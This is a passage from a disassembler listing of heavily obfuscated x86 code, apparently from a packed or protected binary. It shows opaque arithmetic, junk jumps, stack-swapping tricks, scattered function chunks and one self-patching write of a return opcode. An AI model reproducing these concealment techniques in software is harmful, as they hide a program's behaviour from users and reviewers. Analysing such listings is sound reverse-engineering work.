loc_746194:				; CODE XREF: sub_755E40:loc_7485FDj
					; sub_755E40-D42Fj ...
		jmp	loc_755149
; ---------------------------------------------------------------------------


loc_746199:				; CODE XREF: sub_755E40-73BBj
					; sub_747AEC+7D47j
		xchg	eax, [esp+4+var_4]
		mov	ecx, eax
		pop	eax
		xchg	edx, [esp+0]
		jmp	loc_757488
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7499A5


loc_7461A7:				; CODE XREF: sub_7499A5:loc_7454D1j
		xor	edx, 51CC9058h
		sub	edx, 0F0EF1B53h
		jb	loc_7450E2
; END OF FUNCTION CHUNK	FOR sub_7499A5
; START	OF FUNCTION CHUNK FOR sub_747736


loc_7461B9:				; CODE XREF: sub_747736:loc_7494F9j
		mov	eax, edi
		add	esi, 0C7C5442Dh
		jmp	loc_747907
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7572F3


loc_7461C6:				; CODE XREF: sub_7572F3:loc_74D40Ej
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_7494F9
		jmp	loc_755C0B
; END OF FUNCTION CHUNK	FOR sub_7572F3
; ---------------------------------------------------------------------------
		jmp	ds:dword_41F0D0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jnz	loc_751578
		push	offset loc_74A10C
		jmp	locret_745EAF
; ---------------------------------------------------------------------------


loc_7461EC:				; CODE XREF: _0z4jwtox:0074B688j
		ror	eax, 0Ch

; =============== S U B	R O U T	I N E =======================================



sub_7461EF	proc near		; CODE XREF: sub_74F615+7p
		xchg	edx, [esp+0]
		pop	edx


loc_7461F3:				; CODE XREF: _0z4jwtox:0074E23Dj
		test	byte ptr [eax-8], 10h
		jmp	loc_74A37E
sub_7461EF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E685


loc_7461FC:				; CODE XREF: sub_74E685-3105j
		adc	eax, 3C816774h
		mov	[esi], eax
		jmp	loc_746574
; END OF FUNCTION CHUNK	FOR sub_74E685
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B719


loc_746209:				; CODE XREF: sub_74B719:loc_74CC0Fj
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_755B94
		jmp	loc_7487BA
; ---------------------------------------------------------------------------


loc_74621B:				; CODE XREF: sub_74B719:loc_74DE2Cj
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jz	loc_7487BA
		jmp	loc_7487AA
; END OF FUNCTION CHUNK	FOR sub_74B719
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7570E0


loc_746230:				; CODE XREF: sub_7570E0:loc_74F083j
		lea	eax, sub_7528FA
		mov	byte ptr [eax],	0C3h
		jmp	sub_7528FA
; END OF FUNCTION CHUNK	FOR sub_7570E0

; =============== S U B	R O U T	I N E =======================================



sub_74623E	proc near		; CODE XREF: sub_4085B9+25p
					; sub_74623E+5j
					; DATA XREF: ...
		call	sub_74624E
		jmp	ds:off_41F0C8
sub_74623E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74698F


loc_746249:				; CODE XREF: sub_74698F+E143j
		jmp	loc_756E43
; END OF FUNCTION CHUNK	FOR sub_74698F

; =============== S U B	R O U T	I N E =======================================



sub_74624E	proc near		; CODE XREF: sub_74623Ep sub_751427+7j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074A713 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A7EE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00751433 SIZE 00000007 BYTES

		jb	loc_751433
		pop	edx
		mov	eax, [esp-4+arg_0]
		jmp	loc_74A713
sub_74624E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74625D:				; CODE XREF: sub_747C22+1E1Bj
		pop	edi
		mov	esi, edx


loc_746260:				; CODE XREF: sub_747C22:loc_747186j
					; sub_74D782+Fj ...
		push	offset loc_74D181
		jmp	nullsub_213
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74721B


loc_74626A:				; CODE XREF: sub_74721B+18F2j
		sub	esi, 577CB446h
		and	ebp, 1CC8341Ah
		mov	edi, [esi]
		shl	ebp, 15h
		sbb	esi, edi
		jmp	loc_746E2D
; END OF FUNCTION CHUNK	FOR sub_74721B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BFE0


loc_746282:				; CODE XREF: sub_74BFE0+B61Cj
		js	loc_745C2F
		pushf
		adc	ecx, 0EED7E8EAh
		jmp	loc_750C41
; END OF FUNCTION CHUNK	FOR sub_74BFE0
; ---------------------------------------------------------------------------


loc_746294:				; CODE XREF: _0z4jwtox:loc_74ACF5j
		push	9A41EADAh
		pop	edx
		or	edx, 0CE7BB300h
		add	edx, 21F8CD75h
		jmp	loc_7463E3
; ---------------------------------------------------------------------------


loc_7462AB:				; CODE XREF: _0z4jwtox:00753BA4j
		jp	loc_757518
		xor	esi, 0B8EF00B1h
		cdq
		jmp	loc_7536BF
; ---------------------------------------------------------------------------


loc_7462BD:				; CODE XREF: _0z4jwtox:00754ECEj
		mov	esi, 0EBEE8886h

; =============== S U B	R O U T	I N E =======================================



sub_7462C2	proc near		; CODE XREF: sub_7541CF+Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00745022 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00747D4C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074C219 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C7DE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0074F9B4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 007510BB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0075148A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00752B54 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752B7A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00752BFC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00753221 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00753A67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755291 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 007574DE SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_7510BB
		jmp	loc_753A67
sub_7462C2	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_7462D6	proc near		; DATA XREF: sub_74D23E-7321o

; FUNCTION CHUNK AT 0074F281 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		jmp	loc_74F281
sub_7462D6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A96E


loc_7462DE:				; CODE XREF: sub_74A96E:loc_75486Ej
		xor	ecx, 502032A0h
		adc	ebx, 0B4D017B8h


loc_7462EA:				; CODE XREF: sub_74A96E:loc_754863j
		xor	edi, 0D79C4AC8h
		add	edi, ebp
		add	edi, 7573787Fh
		jmp	loc_7486B1
; END OF FUNCTION CHUNK	FOR sub_74A96E

; =============== S U B	R O U T	I N E =======================================



sub_7462FD	proc near		; CODE XREF: _0z4jwtox:0074F698p
					; _0z4jwtox:0074F951j

; FUNCTION CHUNK AT 007535FC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0075438C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00754890 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007568D8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0075720A SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi


loc_746301:				; CODE XREF: _0z4jwtox:0074D129j
		push	0E1C7934Bh
		pop	eax
		add	eax, 72E23E51h
		sub	eax, 7AB352CFh
		test	eax, 2000h
		jmp	loc_754890
sub_7462FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75712E


loc_74631E:				; CODE XREF: sub_75712E:loc_74648Dj
		xchg	ecx, [esp-4+arg_0]
		push	0B21A6E4Ch
		pop	edx
		rol	edx, 1
		cmp	edx, 2267EC1Ch
		jmp	loc_755979
; END OF FUNCTION CHUNK	FOR sub_75712E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75143A


loc_746334:				; CODE XREF: sub_75143A:loc_755BDFj
		jnb	loc_74EA2F
		test	eax, 0C96A91A3h
		jmp	loc_755A9A
; END OF FUNCTION CHUNK	FOR sub_75143A
; ---------------------------------------------------------------------------


loc_746345:				; CODE XREF: _0z4jwtox:00754944j
		ror	ebp, 1Ah
		jnb	loc_7523ED
		sbb	ebx, ecx
; START	OF FUNCTION CHUNK FOR sub_75547D


loc_746350:				; CODE XREF: sub_75547D:loc_75492Bj
		add	edi, 1CC9CE6Ch
		xchg	edi, [esp+0]
		jmp	loc_748F55
; END OF FUNCTION CHUNK	FOR sub_75547D
; ---------------------------------------------------------------------------
		call	sub_745DB1
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_746363:				; CODE XREF: sub_74673E+103AEj
		jmp	loc_74DF44
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75299B


loc_746368:				; CODE XREF: sub_75299B-45BFj
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_75299B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A8D1


loc_74636D:				; CODE XREF: sub_74A8D1:loc_74B93Cj
		add	ecx, ebp
		push	offset sub_74AF10
		jmp	nullsub_208
; END OF FUNCTION CHUNK	FOR sub_74A8D1
; ---------------------------------------------------------------------------
		jo	loc_7576F5
		jmp	loc_74DE4A
; ---------------------------------------------------------------------------


loc_746384:				; CODE XREF: _0z4jwtox:007465C5j
		push	599C95CFh

; =============== S U B	R O U T	I N E =======================================



sub_746389	proc near		; CODE XREF: sub_747C39:loc_751E50p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00746F70 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748AB2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074A5F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D72A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074D740 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750C6E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00751E3F SIZE 00000011 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [eax]
		jmp	loc_74D72A
sub_746389	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_746394:				; CODE XREF: sub_746640+3650j
		jz	loc_75276D
		jmp	loc_753F50
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F08D


loc_74639F:				; CODE XREF: sub_74F08D:loc_74C7D2j
					; _0z4jwtox:loc_757754j
		add	ebx, 1C829BFDh
		xchg	ebx, [esp+0]
		jmp	loc_74A81C
; END OF FUNCTION CHUNK	FOR sub_74F08D
; ---------------------------------------------------------------------------


loc_7463AD:				; CODE XREF: _0z4jwtox:00757287j
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_7463AE	proc near		; CODE XREF: sub_748FA4:loc_749ADCp

; FUNCTION CHUNK AT 00747764 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00747F37 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074CDBD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074FA55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750C3B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00750C46 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00751027 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007515BA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00753434 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0075674E SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_750C46
		jmp	loc_74FA55
sub_7463AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	0C1D44947h
		pop	eax


loc_7463C9:				; CODE XREF: _0z4jwtox:loc_75024Ej
		add	eax, 0AA829861h
		rol	eax, 5
		test	eax, 800000h
		jmp	loc_74D8DC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F688


loc_7463DE:				; CODE XREF: sub_74F688+755Aj
		jmp	loc_7565D2
; END OF FUNCTION CHUNK	FOR sub_74F688
; ---------------------------------------------------------------------------


loc_7463E3:				; CODE XREF: _0z4jwtox:007462A6j
		xchg	edx, [esp]
		jmp	loc_750F5E
; ---------------------------------------------------------------------------
		mov	ecx, esi
		jmp	loc_7543BA
; ---------------------------------------------------------------------------


loc_7463F2:				; CODE XREF: _0z4jwtox:loc_74B50Bj
		xor	[ebp-8], eax
		mov	eax, [ebp-8]
		shl	eax, 0Fh
		jmp	loc_74CEC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7508F9


loc_746400:				; CODE XREF: sub_7508F9:loc_750901j
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0


loc_746406:				; CODE XREF: sub_74AAC1:loc_74E6B6j
		jnz	loc_74C8BF
		mov	eax, [ebp-8]
		jmp	loc_754191
; END OF FUNCTION CHUNK	FOR sub_7508F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750638


loc_746414:				; CODE XREF: sub_750638-A5B0j
					; sub_750638:loc_74E329j
		mov	eax, [ebp+var_108]
		mov	byte ptr [ebp+eax+var_100], 0
		call	sub_74698F


loc_746427:				; CODE XREF: _0z4jwtox:007567ADj
		jnz	loc_74DFC4
		test	edi, 423B8894h
		jmp	loc_755810
; END OF FUNCTION CHUNK	FOR sub_750638
; ---------------------------------------------------------------------------


loc_746438:				; CODE XREF: _0z4jwtox:0074EF86j
		jnz	loc_752A88
		jmp	loc_748C08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_746443:				; CODE XREF: sub_746640:loc_7570ACj
		jb	loc_74FCCE
		jmp	loc_749A42
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------


loc_74644E:				; CODE XREF: _0z4jwtox:0074B3C1j
		xor	edx, edi


loc_746450:				; CODE XREF: _0z4jwtox:loc_74B3B2j
		add	esi, 0DC41F090h
		mov	[esi], eax
		call	sub_74D343
; START	OF FUNCTION CHUNK FOR sub_748723


loc_74645D:				; CODE XREF: sub_748723+9EE9j
		mov	esi, 15E824FDh
		sub	eax, esi
		add	edx, 10049371h


loc_74646A:				; CODE XREF: _0z4jwtox:loc_756118j
		mov	eax, [ebp-4]
		jmp	loc_74733D
; END OF FUNCTION CHUNK	FOR sub_748723
; ---------------------------------------------------------------------------


loc_746472:				; CODE XREF: _0z4jwtox:00745738j
		add	edx, 3FF8A874h
		mov	edx, [edx]
		mov	edx, [edx+1Ch]
		call	sub_750AEB
; START	OF FUNCTION CHUNK FOR sub_74C733


loc_746482:				; CODE XREF: sub_74C733+4AC8j
		jmp	loc_74F956
; END OF FUNCTION CHUNK	FOR sub_74C733
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75712E


loc_746487:				; CODE XREF: sub_75712E:loc_757141j
		jz	loc_7569D5


loc_74648D:				; CODE XREF: _0z4jwtox:00754498j
		jmp	loc_74631E
; END OF FUNCTION CHUNK	FOR sub_75712E
; ---------------------------------------------------------------------------
		xchg	esi, ebx
		xor	eax, edi
		or	esi, 2B487B10h
		jmp	loc_7454DB
; ---------------------------------------------------------------------------
		sub	ebx, 1DA5AAD2h
		jmp	sub_74DFE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752C44


loc_7464AC:				; CODE XREF: sub_752C44+Aj
		jnz	loc_75269A
		jmp	loc_7562A1
; END OF FUNCTION CHUNK	FOR sub_752C44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75609F


loc_7464B7:				; CODE XREF: sub_75609F+10j
		cmp	ebx, 80AC0E2Dh
		jmp	loc_7507EB
; END OF FUNCTION CHUNK	FOR sub_75609F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C874


loc_7464C2:				; CODE XREF: sub_74C874-31B4j
		mov	eax, [esp+0]
		push	edx
		call	sub_745715
		mov	eax, 0DE9EBB8Dh
		jmp	loc_745973
; END OF FUNCTION CHUNK	FOR sub_74C874
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B01A


loc_7464D5:				; CODE XREF: sub_74B01A+1j
		push	0D6785F01h
		pop	edi
		and	edi, 5B3A9B80h
		sub	edi, 35795280h
		add	edi, 0E3B63DF0h
		xchg	edi, [esp+4+var_4]
		jmp	loc_750676
; END OF FUNCTION CHUNK	FOR sub_74B01A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_7464F5:				; CODE XREF: sub_747C39:loc_754529j
		or	eax, 147BCFA4h
		xor	eax, 0E1F2425Bh
		call	sub_746E93
		push	esi
		push	44F7944h
		pop	esi
		add	esi, 1846116Eh


loc_746513:				; CODE XREF: _0z4jwtox:00752409j
		xor	esi, 6B93BE1Bh
		jmp	loc_74B520
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------


loc_74651E:				; CODE XREF: _0z4jwtox:00745876j
		adc	edi, 5585C826h
; START	OF FUNCTION CHUNK FOR sub_755C38


loc_746524:				; CODE XREF: sub_755C38:loc_745866j
		and	edx, 5670A293h
		cmp	edx, 9EE99FD8h
		jmp	loc_74E714
; END OF FUNCTION CHUNK	FOR sub_755C38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571E0


loc_746535:				; CODE XREF: sub_7571E0:loc_74F655j
		xchg	edi, [esp+0]
		jmp	loc_748E39
; END OF FUNCTION CHUNK	FOR sub_7571E0
; ---------------------------------------------------------------------------


loc_74653D:				; CODE XREF: _0z4jwtox:loc_748413j
		push	offset loc_74BEC8
		jmp	loc_7522AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C2C9


loc_746547:				; CODE XREF: sub_74C2C9:loc_74FFBBj
		xchg	edi, [esp+0]
		jmp	loc_75623C
; END OF FUNCTION CHUNK	FOR sub_74C2C9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_298. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_746550:				; CODE XREF: _0z4jwtox:007456DEj
		jp	loc_74DD76

; =============== S U B	R O U T	I N E =======================================



sub_746556	proc near		; CODE XREF: sub_748C98+1376p

; FUNCTION CHUNK AT 007456E3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074712C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0075279D SIZE 00000014 BYTES

		xchg	ecx, [esp+0]


loc_746559:				; CODE XREF: sub_74656Ej
		pop	ecx
		ror	eax, 0Ah
		jb	loc_75279D
		push	offset sub_7545C6
		jmp	nullsub_26
sub_746556	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 23h

; =============== S U B	R O U T	I N E =======================================



sub_74656E	proc near		; DATA XREF: .data:off_42D70Co
		jmp	short loc_746559
sub_74656E	endp

; ---------------------------------------------------------------------------
		dd 181Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E685


loc_746574:				; CODE XREF: sub_74E685-8481j
					; sub_74E685:loc_74B57Aj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_74A3A3
		jmp	loc_753BBA
; END OF FUNCTION CHUNK	FOR sub_74E685
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7452F3


loc_746585:				; CODE XREF: sub_7452F3+5877j
		pushf
		jmp	loc_7458DF
; END OF FUNCTION CHUNK	FOR sub_7452F3

; =============== S U B	R O U T	I N E =======================================



sub_74658B	proc near		; CODE XREF: sub_754A3D-E092j
					; sub_74A3AB+A50Ap
		xchg	edx, [esp+0]
		pop	edx
		mov	[edx], eax
		pop	edx
		mov	eax, [ebp-4]
		mov	al, [eax]
		push	offset loc_75140E
		jmp	nullsub_27
sub_74658B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_7465A1:				; CODE XREF: _0z4jwtox:00747E69j
					; sub_74D23E:loc_74EBB0j
		xchg	eax, [esp+8+var_8]
		mov	edx, eax
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+0Ch+var_C]
		push	0B3ABB6EAh
		pop	edx
		jmp	loc_745B27
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------


loc_7465B7:				; CODE XREF: _0z4jwtox:loc_746B92j
		jz	loc_745669
		jmp	loc_7473B6
; ---------------------------------------------------------------------------
		mov	[ebp+0], ebx
		jmp	loc_746384
; ---------------------------------------------------------------------------


loc_7465CA:				; CODE XREF: _0z4jwtox:0075563Bj
		mov	ebp, edx
		jmp	loc_755FE9
; ---------------------------------------------------------------------------


loc_7465D1:				; CODE XREF: _0z4jwtox:0074F31Bj
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_7465D2	proc near		; CODE XREF: _0z4jwtox:00749DDDp

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 007483E9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074B941 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074BE09 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074CC80 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0075373D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00756DB6 SIZE 0000001E BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edi
		push	2D55127Dh
		pop	edi
		xor	edi, 125D8F69h
		add	edi, 373ACD67h
		jmp	loc_74CC80
sub_7465D2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_7465EE	proc near		; CODE XREF: _0z4jwtox:007494E7j
					; sub_752B0Cp
		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_7523A2
		jmp	ds:off_41F0D8
sub_7465EE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_7465FD:				; CODE XREF: sub_7474B9+D1Fj
		jmp	loc_7520C8
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7491FD


loc_746602:				; CODE XREF: sub_7491FD:loc_7557ACj
		push	ecx
		push	edx
		pop	ecx
		xchg	ecx, [esp+4+var_4]
		push	ecx
		push	8C2B0DF1h
		jmp	loc_7575E3
; END OF FUNCTION CHUNK	FOR sub_7491FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74870B


loc_746613:				; CODE XREF: sub_74870B+13j
		push	edx
		push	eax
		mov	eax, [ebp-8]
		cdq


loc_746619:				; CODE XREF: sub_74D0A9:loc_74C3AEj
		add	eax, [esp+8+var_8]
		adc	edx, [esp+8+var_4]
		add	esp, 8
		jmp	loc_7551C3
; END OF FUNCTION CHUNK	FOR sub_74870B
; ---------------------------------------------------------------------------
		jge	nullsub_273
		jmp	loc_7567B2

; =============== S U B	R O U T	I N E =======================================



sub_746633	proc near		; CODE XREF: sub_747D98+83p
					; sub_751307:loc_74ACCFj
		xchg	ecx, [esp+0]
		pop	ecx
		add	esp, 4
		retn
sub_746633	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74663B:				; CODE XREF: _0z4jwtox:00752691j
		jmp	locret_74C0B1

; =============== S U B	R O U T	I N E =======================================



sub_746640	proc near		; CODE XREF: sub_7459E9p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074545D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007457EC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00746394 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00746443 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00746D1C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007471EA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0074786D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00748B1F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748E43 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00749A42 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00749C84 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074A1AA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074BA02 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0074BBB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074BC2E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0074D230 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074ECC1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074FB54 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0074FCC8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00750BDB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00751288 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 007522D4 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0075365B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00753D76 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753F50 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0075410B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007544FE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00754881 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755216 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0075567C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00755E1D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00756361 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00756724 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 007570AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075716C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 007578C2 SIZE 00000007 BYTES

		call	sub_747D98


loc_746645:				; CODE XREF: sub_74ECEF-554j
		jmp	loc_74ECC1
sub_746640	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E0EB


loc_74664A:				; CODE XREF: sub_74E0EB+8j
		push	offset loc_754F89
		jmp	nullsub_64
; END OF FUNCTION CHUNK	FOR sub_74E0EB
; ---------------------------------------------------------------------------


loc_746654:				; CODE XREF: _0z4jwtox:0074C17Ej
		cmp	edx, eax
		jmp	loc_74A982
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747778


loc_74665B:				; CODE XREF: sub_747778:loc_74E61Bj
		push	eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 8
		setnz	al
		push	offset loc_752808
		jmp	nullsub_65
; END OF FUNCTION CHUNK	FOR sub_747778
; ---------------------------------------------------------------------------


loc_746670:				; CODE XREF: _0z4jwtox:loc_75759Dj
		jz	loc_753040


loc_746676:				; CODE XREF: _0z4jwtox:loc_7474EFj
		jmp	loc_757591

; =============== S U B	R O U T	I N E =======================================



sub_74667B	proc near		; CODE XREF: sub_74BD26-F98j
					; _0z4jwtox:0074E733p

; FUNCTION CHUNK AT 0074B6E7 SIZE 00000013 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	0C15857E1h
		pop	esi


loc_746685:				; CODE XREF: _0z4jwtox:0074B37Aj
		rol	esi, 4
		or	esi, 2321C98Ah
		jmp	loc_74B6E7
sub_74667B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A821


loc_746693:				; CODE XREF: sub_74A821:loc_7500A9j
		sbb	esi, edx
		jmp	loc_75581D
; END OF FUNCTION CHUNK	FOR sub_74A821
; ---------------------------------------------------------------------------


loc_74669A:				; CODE XREF: _0z4jwtox:00753095j
		pushf
		or	eax, esi
; START	OF FUNCTION CHUNK FOR sub_748357


loc_74669D:				; CODE XREF: sub_748357:loc_75307Fj
		and	eax, 458B3DA9h
		add	eax, 46DC9CFDh
		jnb	loc_756171
; END OF FUNCTION CHUNK	FOR sub_748357
; START	OF FUNCTION CHUNK FOR sub_74F15D


loc_7466AF:				; CODE XREF: sub_74F15D+130Dj
		jmp	loc_750912
; END OF FUNCTION CHUNK	FOR sub_74F15D
; ---------------------------------------------------------------------------
		sbb	ebp, edi
		jns	loc_755D79
		jmp	loc_756169
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756826


loc_7466C1:				; CODE XREF: sub_756826+9j
		mov	[ebp+var_4], eax


loc_7466C4:				; CODE XREF: _0z4jwtox:loc_755B1Cj
